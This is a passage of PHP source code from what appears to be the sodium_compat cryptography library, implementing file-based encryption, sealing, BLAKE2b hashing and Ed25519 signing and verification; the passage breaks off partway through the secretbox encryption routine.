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if (class_exists(&#039;ParagonIE_Sodium_File&#039;, false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP&#039;s default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keyPair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($inputFile) . &#039; given.&#039;);
        }
        if (!is_string($outputFile)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($outputFile) . &#039; given.&#039;);
        }
        if (!is_string($nonce)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($nonce) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError(&#039;Argument 4 must be a string, &#039; . gettype($keyPair) . &#039; given.&#039;);
        }
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError(&#039;Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes&#039;);
        }
        if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError(&#039;Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes&#039;);
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, &#039;rb&#039;);
        if (!is_resource($ifp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, &#039;wb&#039;);
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException(&#039;Could not open output file for writing&#039;);
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($inputFile) . &#039; given.&#039;);
        }
        if (!is_string($outputFile)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($outputFile) . &#039; given.&#039;);
        }
        if (!is_string($nonce)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($nonce) . &#039; given.&#039;);
        }
        if (!is_string($keypair)) {
            throw new TypeError(&#039;Argument 4 must be a string, &#039; . gettype($keypair) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError(&#039;Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes&#039;);
        }
        if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError(&#039;Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes&#039;);
        }

        if (!file_exists($inputFile)) {
            throw new SodiumException(&#039;Input file does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, &#039;rb&#039;);
        if (!is_resource($ifp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var resource $ofp */
        $ofp = @fopen($outputFile, &#039;wb&#039;);
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException(&#039;Could not open output file for writing&#039;);
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($inputFile) . &#039; given.&#039;);
        }
        if (!is_string($outputFile)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($outputFile) . &#039; given.&#039;);
        }
        if (!is_string($publicKey)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($publicKey) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError(&#039;Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes&#039;);
        }

        if (!file_exists($inputFile)) {
            throw new SodiumException(&#039;Input file does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, &#039;rb&#039;);
        if (!is_resource($ifp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var resource $ofp */
        $ofp = @fopen($outputFile, &#039;wb&#039;);
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException(&#039;Could not open output file for writing&#039;);
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            &#039;&#039;,
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException(&#039;Could not write to output file&#039;);
        }
        if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException(&#039;Error writing public key to output file&#039;);
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $ecdhKeypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($inputFile) . &#039; given.&#039;);
        }
        if (!is_string($outputFile)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($outputFile) . &#039; given.&#039;);
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($ecdhKeypair) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError(&#039;Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes&#039;);
        }

        $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        if (!file_exists($inputFile)) {
            throw new SodiumException(&#039;Input file does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, &#039;rb&#039;);
        if (!is_resource($ifp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var resource $ofp */
        $ofp = @fopen($outputFile, &#039;wb&#039;);
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException(&#039;Could not open output file for writing&#039;);
        }

        $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }
        if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException(&#039;Could not read public key from sealed file&#039;);
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            &#039;&#039;,
            24
        );
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash(
        $filePath,
        #[\SensitiveParameter]
        $key = &#039;&#039;,
        $outputLength = 32
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($filePath) . &#039; given.&#039;);
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = &#039;&#039;;
            } else {
                throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($key) . &#039; given.&#039;);
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError(&#039;Argument 3 must be an integer, &#039; . gettype($outputLength) . &#039; given.&#039;);
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) &lt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError(&#039;Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes&#039;);
            }
            if (self::strlen($key) &gt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError(&#039;Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes&#039;);
            }
        }
        if ($outputLength &lt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException(&#039;Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN&#039;);
        }
        if ($outputLength &gt; ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException(&#039;Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX&#039;);
        }

        if (!file_exists($filePath)) {
            throw new SodiumException(&#039;File does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $fp */
        $fp = fopen($filePath, &#039;rb&#039;);
        if (!is_resource($fp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
        while ($size &gt; 0) {
            $blockSize = $size &gt; 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException(&#039;Could not read input file&#039;);
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($inputFile) . &#039; given..&#039;);
        }
        if (!is_string($outputFile)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($outputFile) . &#039; given.&#039;);
        }
        if (!is_string($nonce)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($nonce) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError(&#039;Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes&#039;);
        }
        if (!is_string($key)) {
            throw new TypeError(&#039;Argument 4 must be a string, &#039; . gettype($key) . &#039; given.&#039;);
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError(&#039;Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes&#039;);
        }

        if (!file_exists($inputFile)) {
            throw new SodiumException(&#039;Input file does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $ifp */
        $ifp = @fopen($inputFile, &#039;rb&#039;);
        if (!is_resource($ifp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, &#039;wb&#039;);
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException(&#039;Could not open output file for writing&#039;);
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($inputFile) . &#039; given.&#039;);
        }
        if (!is_string($outputFile)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($outputFile) . &#039; given.&#039;);
        }
        if (!is_string($nonce)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($nonce) . &#039; given.&#039;);
        }
        if (!is_string($key)) {
            throw new TypeError(&#039;Argument 4 must be a string, &#039; . gettype($key) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError(&#039;Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes&#039;);
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError(&#039;Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes&#039;);
        }

        if (!file_exists($inputFile)) {
            throw new SodiumException(&#039;Input file does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, &#039;rb&#039;);
        if (!is_resource($ifp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var resource $ofp */
        $ofp = @fopen($outputFile, &#039;wb&#039;);
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException(&#039;Could not open output file for writing&#039;);
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign(
        $filePath,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($filePath) . &#039; given.&#039;);
        }
        if (!is_string($secretKey)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($secretKey) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError(&#039;Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes&#039;);
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        if (!file_exists($filePath)) {
            throw new SodiumException(&#039;File does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $fp */
        $fp = fopen($filePath, &#039;rb&#039;);
        if (!is_resource($fp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var string $az */
        $az = hash(&#039;sha512&#039;, self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) &amp; 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) &amp; 63) | 64);

        $hs = hash_init(&#039;sha512&#039;);
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init(&#039;sha512&#039;);
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify(
        $sig,
        $filePath,
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError(&#039;Argument 1 must be a string, &#039; . gettype($sig) . &#039; given.&#039;);
        }
        if (!is_string($filePath)) {
            throw new TypeError(&#039;Argument 2 must be a string, &#039; . gettype($filePath) . &#039; given.&#039;);
        }
        if (!is_string($publicKey)) {
            throw new TypeError(&#039;Argument 3 must be a string, &#039; . gettype($publicKey) . &#039; given.&#039;);
        }

        /* Input validation: */
        if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError(&#039;Argument 1 must be CRYPTO_SIGN_BYTES bytes&#039;);
        }
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError(&#039;Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes&#039;);
        }
        if (self::strlen($sig) &lt; 64) {
            throw new SodiumException(&#039;Signature is too short&#039;);
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) &amp; 240)
                &amp;&amp;
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
        ) {
            throw new SodiumException(&#039;S &lt; L - Invalid signature&#039;);
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException(&#039;Signature is on too small of an order&#039;);
        }
        if ((self::chrToInt($sig[63]) &amp; 224) !== 0) {
            throw new SodiumException(&#039;Invalid signature&#039;);
        }
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException(&#039;All zero public key&#039;);
        }

        if (!file_exists($filePath)) {
            throw new SodiumException(&#039;File does not exist&#039;);
        }
        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException(&#039;Could not obtain the file size&#039;);
        }

        /** @var resource $fp */
        $fp = fopen($filePath, &#039;rb&#039;);
        if (!is_resource($fp)) {
            throw new SodiumException(&#039;Could not open input file for reading&#039;);
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        if (ParagonIE_Sodium_Core_Ed25519::small_order($publicKey)) {
            throw new SodiumException(&#039;Public key has small order&#039;);
        }
        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);
        if (!ParagonIE_Sodium_Core_Ed25519::is_on_main_subgroup($A)) {
            throw new SodiumException(&#039;Public key is not on a member of the main subgroup&#039;);
        }

        $hs = hash_init(&#039;sha512&#039;);
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException(&#039;Could not read input file&#039;);
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat(&quot;\x00&quot;, 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 &gt; 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat(&quot;\x00&quot;, 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state-&gt;update($cBlock);
